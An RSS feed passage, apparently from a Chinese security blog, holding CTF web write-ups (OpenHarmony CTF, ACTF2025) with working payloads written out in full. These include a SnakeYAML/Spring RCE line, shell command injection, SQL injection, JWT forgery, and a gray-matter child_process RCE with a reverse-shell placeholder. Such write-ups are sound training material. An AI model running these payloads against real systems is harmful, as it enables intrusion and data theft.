mp;#43;UhsJ1tTKNaD/AzLKY&amp;#43;veSy8&amp;#43;5Vq&amp;#43;mLf7/S/PMCb1Mvpx1uUZ8phegpw18M49HM5655r0pYxTG5itREqlzN8252Htge2JHCIbo62skIpxk2uOEGzDPly4iN3yXGZ7LLcQ7M/Fc32yeJbgTyHbZS451wQ7v/an8mwMzPNaGbEitUyyJaGUfa3aeye7W3&amp;#43;VneX4uvYI1Vb7JR&amp;#43;H8/Fw33XzRg8yaFx/Uut&amp;#43;uqhvJ2Nr2Vm1xVBCVKtOjB78XG&amp;#43;dMk8n6FMufb3qk07o63Ohc47TL2uH7Xs/8RGvkWiyj6r1OJQuZ&amp;#43;XE&amp;#43;vU5820P6jyIcw1X&amp;#43;ZwkQ/cm9VuvZ4W0zDk7&amp;#43;6K/TOrqGoNXPzLvNsdycpHJ5ob2UitUPitcdOpnv4rPW68EXzHmu/7FxqPXHIC9qH/CP4Xuww458&amp;#43;Qd67I9sjRr6WjQc&amp;#43;&amp;#43;X/YRaMD6u&amp;#43;/H9iO&amp;#43;93um58vHBHMdIq6db&amp;#43;eXcX/YufI4XKtPjWFi/OVvX&amp;#43;Yxkwb9zr7q1kA&amp;#43;HXnk&amp;#43;pDnvw&amp;#43;LyRy5xOkR5gN8H/McQGhHnYJtfVy/bggxjg3w2Vc8bBiv&amp;#43;X&amp;#43;VfmdM3PSDXgcZ5b&amp;#43;91r9lXpxcmLGcBNJAquvz1uGJ&amp;#43;HWbvzFtjdb5S9jZaTABoG9F8IOcqPlOjUHmc3zeY216fgW3&amp;#43;aPaPP7KoNeoI6Yj5Ql0aVVIWPkVq3hzwO/W7G4&amp;#43;67ZV4PhahiffevI16K9RuZPuC&amp;#43;lVSA1/I57n&amp;#43;KdN028W&amp;#43;h/5g6pGjZOq6IKcbeb6Ylnt7n/aKlYaxTjcaXtc45zX9lOT8Ucx5nn5gbKjGOvbYj8IISDtlzTOvxyoaOzx2f3jhqds29BWYt0uab&amp;#43;UabW5yDW9yYWwk2u7/lA3r3Hk7wNhidLjJtVTj49luTnDVIf6KFtycgq9iRcFIHFY6xjZZpOS67Y3Ek0fTs42LX&amp;#43;zXNXtWJR36qrtSlyDqN0hsfXpq0UzrVtFuf1iXq&amp;#43;x71zbVHYnnIegbpS1Adz5sgseOZWI91PSB16JFNPsW02p9SQt4lpWS1jO6TyVr6fZSJ/X5oruh0ZNEOuZbzqp8F52Sb1u3k1LuedGF3LuSh2zjnXWU94D46lGerwzdXjxQq1qlNuZhj1isjG0kj&amp;#43;GzLh6tGyWqKPS0csD5gj9nuxT9t5kjD/A5LSRRI2FSTMjEBo7cBXrhjs3AH5CVUT1S1pgXWdHa0tLkAESYqrJzjlvR5TA00Lf3HshAf9BCj9mxmxVOHwI9EkXXMRXp12uWwYp1anEfCvCoMB8KMI68Kpt4JNQkoWNOFeUc9oneI/JiuV7tSTTAfr/A4aqLfcqgUsY7/ZJXE&amp;#43;dKUdKgSICXVo694QXpNYzL5zWtUjbtJ6Ie9DBpUDuixS3fKEuWX/B021R7wpjsSP456J90JMUcdl&amp;#43;oL/0zvmmo9MTOhxF0YEFirKxjCzgxsuH9SjPiboo&amp;#43;6Tb3cp7Lz3NWF3SPHWBki2d3ytRdITdcZ6VuC1S6HPnG9B6F02ld4/LUXlHzKadTnNTIBL6ABamMOwWxqgzw&amp;#43;N1oklYaPCdMA5ircUbk3NnCec5m5S/&amp;#43;RBsp9sBlBJsotjfkvm//zAua0F1iG1mwTw32fsDnvvwOMhWAPEJl5DVnmwNVskGtHK/qA0NnR5yXPU7FPXXXNmkovbAs9fWKIjnbQM41nu0OWR6P1IvMqiA8zlBrTlqkH4aqsUA8dFeqJ4aah3h5cqkqWrZGk5&amp;#43;V&amp;#43;jQnS1uVNB9tJ2q6SFc6veAUUqUeYqpXRY&amp;#43;k43FrZM&amp;#43;tXaF03Sl6&amp;#43;YMpOH6k4xFzyFGOzGseyIE/LXOA0w4&amp;#43;EetWUhibSCidstAAFxl/jlGKKiS3SsyzbSxCfeS/Z4jaA1oC0S1rFGOfzZiVfRv3ZWV9aj1zfSoL3hRy6J1I6FKxUQs1FB344X6lqEsHPpQF9IKqyGXk&amp;#43;HRcD861Sl3yk6vFgPos89bqIGbbr7lD3HKL9LAtc1ihrj/S7nxFl87lGypv2afQ67FUHr7mMwF6hfrZGPwbcY/gkNO6&amp;#43;XxT1uIhr3ik4XsZjQIwEVWWMeeQY8y/kXF/kxEVl/No1JduufWWV9VjSkrYxZrDjtTpoA//9dVH5GT1Quf0iQ5iiceEtlIQi&amp;#43;ecqjiIi9JNUEklh97EhIAVEAMYk9GHLV8xvmyQwn/nzznffPDzSsAGyq0PUVc3PxtzE52eJ1S1eNlvita5x3hBj0Fj9BgvzYG5afZ3PwKlK69G/XPu/rHK8xJ2F5lYhD36oSgQyHt40AMjz1nRm94HMOaY5FcFsUGcHwYh1we1/3TtnSLul1515Vy6ysv4xc/ff1XO91f//c&amp;#43;H667K5b7rzVVZ5XpXdhv&amp;#43;q7wpfP16uxgs7wM72eTt5eD5pi6ZpJNoxldsdzHmF2l0Z3Zm29ul3Dsap9P3b5ebw/Ia8gPh61RSXgnydeTPRTqTecm7e8QgS/PtZseL/5hsom&amp;#43;b2c/Xu8vK71byVeLf3xfp9nbfKP3bDfX7auNVu18Z7JOGb9W&amp;#43;6pbOitb1ppipnSnl//wf5/DSxA== },1048576]]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;写入&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508071735002.png' alt="image-20250807173546897"&gt;&lt;/p&gt;
&lt;p&gt;最后执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yamlContent=!!org.springframework.context.support.FileSystemXmlApplicationContext [ !!java.lang.String &amp;#34;file:poc.xml&amp;#34; ]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508071736285.png' alt="image-20250807173639091"&gt;&lt;/p&gt;
&lt;p&gt;成功将命令执行结果回显出来&lt;/p&gt;
&lt;p&gt;还有一种方法就是打LDAP反序列化Jackson原生链&lt;/p&gt;</description></item><item><title>第一届OpenHarmony CTF专题赛 Web Writeup</title><link>https://blog.p0l1st.top/post/%E7%AC%AC%E4%B8%80%E5%B1%8Aopenharmony-ctf%E4%B8%93%E9%A2%98%E8%B5%9B-web-writeup/</link><pubDate>Fri, 06 Jun 2025 16:33:50 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/%E7%AC%AC%E4%B8%80%E5%B1%8Aopenharmony-ctf%E4%B8%93%E9%A2%98%E8%B5%9B-web-writeup/</guid><category domain="https://blog.p0l1st.top/categories/ctf/">CTF</category><description>&lt;h1 class="heading-element" id="layers-of-compromise"&gt;&lt;span&gt;Layers of Compromise&lt;/span&gt;
 &lt;a href="#layers-of-compromise" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;弱口令user password123登录&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021635157.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;cookie中role的值改为admin即可查看文档&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021635201.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021635148.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;提示查看/data/app/www/secrettttts获取开发令牌，尝试访问secrettttts/token.txt&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021635165.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;这里有auth_token的生成逻辑，写个脚本生成一下auth_token，cookie带上auth_token就能访问logs.php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$auth_key = &amp;#39;S3cr3tK3y!2023&amp;#39;;
$username = &amp;#39;dev&amp;#39;;
$hash = md5($username . $auth_key);

$data = [
 &amp;#39;username&amp;#39; =&amp;gt; $username,
 &amp;#39;hash&amp;#39; =&amp;gt; $hash
];

$cookie = base64_encode(serialize($data));
echo &amp;#34;auth_token=&amp;#34; . $cookie . &amp;#34;\n&amp;#34;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021635169.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;存在命令注入，拼接一下就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;action=filter_logs&amp;amp;filter=&amp;#34;;ls${IFS}/data&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021635179.png' alt="img"&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;action=filter_logs&amp;amp;filter=&amp;#34;;nl${IFS}/data/f*/f*&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021636004.png' alt="img"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="filesystem"&gt;&lt;span&gt;Filesystem&lt;/span&gt;
 &lt;a href="#filesystem" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;app.controller&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; @Post(&amp;#39;upload&amp;#39;)
 @UseInterceptors(FileInterceptor(&amp;#39;file&amp;#39;))
 async doUpload(@UploadedFile() file: Express.Multer.File) {
 const targetPath = path.join(uploadPath, file.originalname);
 console.log(targetPath)
 if(file.originalname.endsWith(&amp;#34;.zip&amp;#34;) || file.originalname.endsWith(&amp;#34;.tar&amp;#34;)){
 fs.renameSync(file.path, targetPath);
 var result :string
 result = await filehelper.extractArc(targetPath)

 return { message: &amp;#39;文件上传解压成功成功！文件夹为：&amp;#39;, path: path.basename(result) }
 }else{
 fs.renameSync(file.path, targetPath);
 return { message: &amp;#39;文件上传成功！&amp;#39;, path: file.originalname };
 }
 }

 @Get(&amp;#39;download&amp;#39;)
 async downloadFile(@Query(&amp;#39;filename&amp;#39;) filename: string, @Response() res) {
 if(filename.includes(&amp;#34;./&amp;#34;)) throw new NotFoundException(&amp;#39;路径不合法&amp;#39;);
 const filePath = path.join(&amp;#39;/opt/uploads&amp;#39;, filename);

 if (!fs.existsSync(filePath)) {
 throw new NotFoundException(&amp;#39;文件未找到&amp;#39;);
 }

 res.download(filePath, (err) =&amp;gt; {
 if (err) {
 res.status(500).send(&amp;#39;下载失败&amp;#39;);
 }
 });
 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以软链接&lt;/p&gt;
&lt;p&gt;读/&lt;strong&gt;data/opt/filesystem/adminconfig.lock找到password&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021637974.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;gray-matter组件可以解析js(&amp;mdash;js)，https://github.com/jonschlinkert/gray-matter/issues/131：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021637049.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;所以可以通过/admin/changePassword接口处去修改slogo参数的值进行rce：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021637996.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;这里对payload设置了长度限制，但是可以通过&lt;code&gt;__proto__&lt;/code&gt;绕过，具体原因可以看下面的issue，:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/typestack/class-validator/issues/438" target="_blank" rel="external nofollow noopener noreferrer"&gt;https://github.com/typestack/class-validator/issues/438&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021637980.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021637084.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;最终payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;获取token：
POST /admin/login HTTP/1.1
Content-Type: application/json

{&amp;#34;username&amp;#34;: &amp;#34;admin&amp;#34;, &amp;#34;password&amp;#34;: &amp;#34;hArd_Pa@s5_wd&amp;#34;}

rce:
POST /admin/changePassword HTTP/1.1
token: xxxxxxxx
Content-Type: application/json

{&amp;#34;password&amp;#34;: &amp;#34;hArd_Pa@s5_wd&amp;#34;,&amp;#34;__proto__&amp;#34;: {},&amp;#34;slogon&amp;#34;:&amp;#34;---js\nglobal.process.mainModule.constructor._load(&amp;#39;child_process&amp;#39;).exec(&amp;#39;反弹shell&amp;#39;)\n---&amp;#34;}&lt;/code&gt;&lt;/pre&gt;&lt;h1 class="heading-element" id="ezapp_and_server"&gt;&lt;span&gt;ezAPP_And_SERVER&lt;/span&gt;
 &lt;a href="#ezapp_and_server" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;&lt;a href="https://github.com/ohos-decompiler/abc-decompiler" target="_blank" rel="external nofollow noopener noreferrer"&gt;https://github.com/ohos-decompiler/abc-decompiler&lt;/a&gt;反编译modules.abc&lt;/p&gt;
&lt;p&gt;p001entry/src/main/ets/common/Utils/utils&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Object #~@0&amp;lt;#oo0Oo0(..., String arg0) {
 from = Array.from(arg0);
 _lexenv_0_0_ = Array.from(&amp;#34;134522123&amp;#34;);
 map = from.map(#~@0&amp;lt;@1*#);
 return map.join(&amp;#34;&amp;#34;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;根据这个逻辑对全部加密过的内容进行解密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class hmtest {
 private static final String KEY = &amp;#34;134522123&amp;#34;;

 public static String decrypt(String encrypted) {
 char[] keyChars = KEY.toCharArray();
 char[] encryptedChars = encrypted.toCharArray();
 char[] decryptedChars = new char[encryptedChars.length];

 for (int i = 0; i &amp;lt; encryptedChars.length; i&amp;#43;&amp;#43;) {
 char keyChar = keyChars[i % keyChars.length];
 decryptedChars[i] = (char) (encryptedChars[i] ^ keyChar);
 }
 return new String(decryptedChars);
 }

 public static void main(String[] args) {
 // 解密 this.Secret
 String secret = &amp;#34;FpBz\u0001ecH\n\u001bEzx\u0017@|SrAXQGkloXz\u0007ElXZ&amp;#34;;
 System.out.println(&amp;#34;Decrypted Secret: &amp;#34; &amp;#43; decrypt(secret));

 // 解密代码中出现的其他加密字符串
 String[] encryptedStrings = {
 &amp;#34;\u001eRD\\\u001dD\u0000\u001dTTGRYSU&amp;#34;, // #~@0&amp;lt;#l1Lll1
 &amp;#34;|z}w{Xp|qVXE]Y[v\u000bD\u0001qudwtps|rre\rs\u007fx{qrT\u007fvscts\u0005ykF\u0004~a~J\u0001@\n\u0003YaD\u0001B\u0004K9\\DFUH\u001dyFDc[Fw\u0006\u0001guxsxaJ\u0007h\u0006]aGqGd[p[Dtd|\u0002\u0007\u0001dXYG}RPsAB~\u0005K@F|ZFYtW|\u007f?A\u0006~aG\u0006cN}dKV^XVDl\u0002j\u0002\u0005Cukxzzkkua\u0005d^\u001fRhP\u0004jkFZe\ruQwCUtYV~P~[DVVfc@@8y\u0006@G\u0000{Ea{{}ZeX\\xhCrYU~gaM~t\u0000\u0019^Fup\u007fdF\u0004q|`q\u001bS@tAA\u001cd\u0006\u001fzAB[\u007ftpeSz`P_8\n\bfAL\u000bykAt`Dl\u0007W\u0019\u007fDExr@y|Sf\u0003_HPd\u0005jf`[k_[Y\u001eY\u0003\u001aU\u000b|tg\u0005\u0003fAgiEDAw@vdsD;x\u001b\\|PrubUxe\u0002\u0005x\u001eVv~\u0000mrkzzww\u0003d\u007fXsBuur\u0001_zb]G\u0006\u0004\u000bu\u0003PvzJ~EfdDs|cE\u001eqp\u0000@&amp;gt;aE{usbpq&amp;#34;, // #~@0&amp;lt;#l1Lll1
 &amp;#34;J\u0011UVF[^\\\u0011\u000b\u0011SPFT]ST\u0013N&amp;#34;, // #~@0&amp;lt;#l1Lll1
 &amp;#34;\u001eRD\\\u001dD\u0000\u001dP^]@TQFB\rFXW\t&amp;#34; // #~@0&amp;lt;#o0O0OOoo
 };

 for (String str : encryptedStrings) {
 System.out.println(&amp;#34;Decrypted: &amp;#34; &amp;#43; decrypt(str));
 }

 // 解密其他在代码中出现的混淆字符串
 String[] additionalStrings = {
 &amp;#34;c`u\u0007\u0002\u0006\t&amp;#34;, // #~@0&amp;lt;@2*#
 &amp;#34;c`u\u0007\u0002\u0006\tNczpg\u0004&amp;#34;, // #~@0&amp;lt;#RrrrRRR
 &amp;#34;W_UR&amp;#34; // #~@0&amp;lt;@4**#
 };

 for (String str : additionalStrings) {
 System.out.println(&amp;#34;Decrypted: &amp;#34; &amp;#43; decrypt(str));
 }
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Decrypted Secret: wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh
Decrypted: /api/v1/getflag
Decrypted: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um&amp;#43;gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1&amp;#43;mwFDJVt5COQB/frFps/U5&amp;#43;OspjMGAVgORbn
99Uuy9KZsGQwX2e&amp;#43;NvvIAtLNaW1lycP0XTQiXnhm&amp;#43;k1&amp;#43;g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
Decrypted: {&amp;#34;action&amp;#34;:&amp;#34;getflag&amp;#34;}
Decrypted: /api/v1/contacts?uid=
Decrypted: RSA2048
Decrypted: RSA2048|PKCS1
Decrypted: flag&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;#~@0&amp;lt;@4*#这里发现请求/api/v1/getflag的时候需要带上Authorization和X-Sign&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; public Object #~@0&amp;lt;@4*#(Object functionObject, Object newTarget, utils this, Object arg0) {

 i = &amp;#34;{\&amp;#34;data\&amp;#34;:\&amp;#34;&amp;#34; &amp;#43; arg0 &amp;#43; &amp;#34;\&amp;#34;}&amp;#34;;

 ldlexvar = _lexenv_0_0_;

 obj = ldlexvar.request;

 ldlexvar2 = _lexenv_0_1_;

 obj2 = createobjectwithbuffer([&amp;#34;method&amp;#34;, 0, &amp;#34;extraData&amp;#34;, 0, &amp;#34;header&amp;#34;, 0]);

 obj2.method = import { default as http } from &amp;#34;@ohos:net.http&amp;#34;.RequestMethod.POST;

 obj2.extraData = i;

 obj3 = createobjectwithbuffer([&amp;#34;Authorization&amp;#34;, 0, &amp;#34;X-Sign&amp;#34;, 0, &amp;#34;Accept&amp;#34;, &amp;#34;text/html,application/xhtml&amp;#43;xml,application/xml;q=0.9,image/avif,image/webp,image/ apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#34;]);

 ldlexvar3 = _lexenv_1_0_;

 obj4 = ldlexvar3.o0OO00O;

 ldlexvar4 = _lexenv_0_2_;

 ldlexvar5 = _lexenv_1_0_;

 obj3.Authorization = obj4(ldlexvar4, ldlexvar5.oo0Oo0(_lexenv_1_0_.Secret));

 CryptoJS = import { default as CryptoJS } from &amp;#34;@normalized:N&amp;amp;&amp;amp;&amp;amp;@ohos/crypto-js/index&amp;amp;2.0.0&amp;#34;;

 MD5 = CryptoJS.MD5(i);

 obj3.X-Sign = MD5.toString();

 obj2.header = obj3;

 callthisN = obj(ldlexvar2, obj2);

 callthisN.then(#~@0&amp;lt;@4**#);

 return null;

 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;JWT的key就是wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh，可以直接伪造&lt;/p&gt;
&lt;p&gt;admin的uid ，访问/api/v1/contacts?uid=1&amp;quot; or 1=1&amp;ndash; 获得&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021639210.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;最后得算X-Sign，需要用上面解出的RSA公钥加密，data的值是是{&amp;ldquo;action&amp;rdquo;:&amp;ldquo;getflag&amp;rdquo;}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const jwt = require(&amp;#39;jsonwebtoken&amp;#39;);
const axios = require(&amp;#39;axios&amp;#39;);
const CryptoJS = require(&amp;#39;crypto-js&amp;#39;);
const crypto = require(&amp;#39;crypto&amp;#39;);

const pubKey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um&amp;#43;gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1&amp;#43;mwFDJVt5COQB/frFps/U5&amp;#43;OspjMGAVgORbn
99Uuy9KZsGQwX2e&amp;#43;NvvIAtLNaW1lycP0XTQiXnhm&amp;#43;k1&amp;#43;g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
-----END PUBLIC KEY-----`;

const sign = (data = {}) =&amp;gt; jwt.sign(data, `wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh`);

const url = &amp;#34;http://web-a9e5aece41.challenge.xctf.org.cn&amp;#34;;
const path = &amp;#34;/api/v1/getflag&amp;#34;;
const r24 = [&amp;#34;9d5ec98c-5848-4450-9e58-9f97b6b3b7bc&amp;#34;];

(async () =&amp;gt; {
 for (const item of r24) {
 
 const rawPayload = JSON.stringify({ action: &amp;#34;getflag&amp;#34; });
 const encrypted = crypto.publicEncrypt({
 key: pubKey,
 padding: crypto.constants.RSA_PKCS1_PADDING
 }, Buffer.from(rawPayload));

 const payload = encrypted.toString(&amp;#39;base64&amp;#39;);

 // token
 const token = sign({
 sub: &amp;#34;1234567890&amp;#34;,
 uid: item,
 iat: 1516239022
 });

 const dataStr = `{&amp;#34;data&amp;#34;:&amp;#34;${payload}&amp;#34;}`;
 const signX = CryptoJS.MD5(dataStr).toString();

 console.log(&amp;#34;token:&amp;#34;, token);
 console.log(&amp;#34;X-Sign:&amp;#34;, signX);

 try {
 const response = await axios.post(url &amp;#43; path, { data: payload }, {
 headers: {
 Authorization: token,
 &amp;#39;X-Sign&amp;#39;: signX
 }
 });
 console.log(&amp;#34;Response:&amp;#34;, response.data);
 } catch (error) {
 console.error(&amp;#34;请求出错:&amp;#34;, error.response?.data || error.message);
 }
 }
})();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603021639136.png' alt="img"&gt;&lt;/p&gt;</description></item><item><title>ACTF2025 Web Writeup</title><link>https://blog.p0l1st.top/post/actf2025-web-writeup/</link><pubDate>Mon, 28 Apr 2025 09:31:57 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/actf2025-web-writeup/</guid><category domain="https://blog.p0l1st.top/categories/ctf/">CTF</category><description>&lt;h1 class="heading-element" id="actf-upload"&gt;&lt;span&gt;ACTF upload&lt;/span&gt;
 &lt;a href="#actf-upload" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;随便登录就是普通用户，进去可以上传文件，然后有任意文件读取，先读/app/app.py得到源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv(&amp;#39;SECRET_KEY&amp;#39;)

@app.route(&amp;#39;/&amp;#39;)
def index():
 if session.get(&amp;#39;username&amp;#39;):
 return redirect(url_for(&amp;#39;upload&amp;#39;))
 else:
 return redirect(url_for(&amp;#39;login&amp;#39;))

@app.route(&amp;#39;/login&amp;#39;, methods=[&amp;#39;POST&amp;#39;, &amp;#39;GET&amp;#39;])
def login():
 if request.method == &amp;#39;POST&amp;#39;:
 username = request.form[&amp;#39;username&amp;#39;]
 password = request.form[&amp;#39;password&amp;#39;]
 if username == &amp;#39;admin&amp;#39;:
 if hashlib.sha256(password.encode()).hexdigest() == &amp;#39;32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0&amp;#39;:
 session[&amp;#39;username&amp;#39;] = username
 return redirect(url_for(&amp;#39;index&amp;#39;))
 else:
 flash(&amp;#39;Invalid password&amp;#39;)
 else:
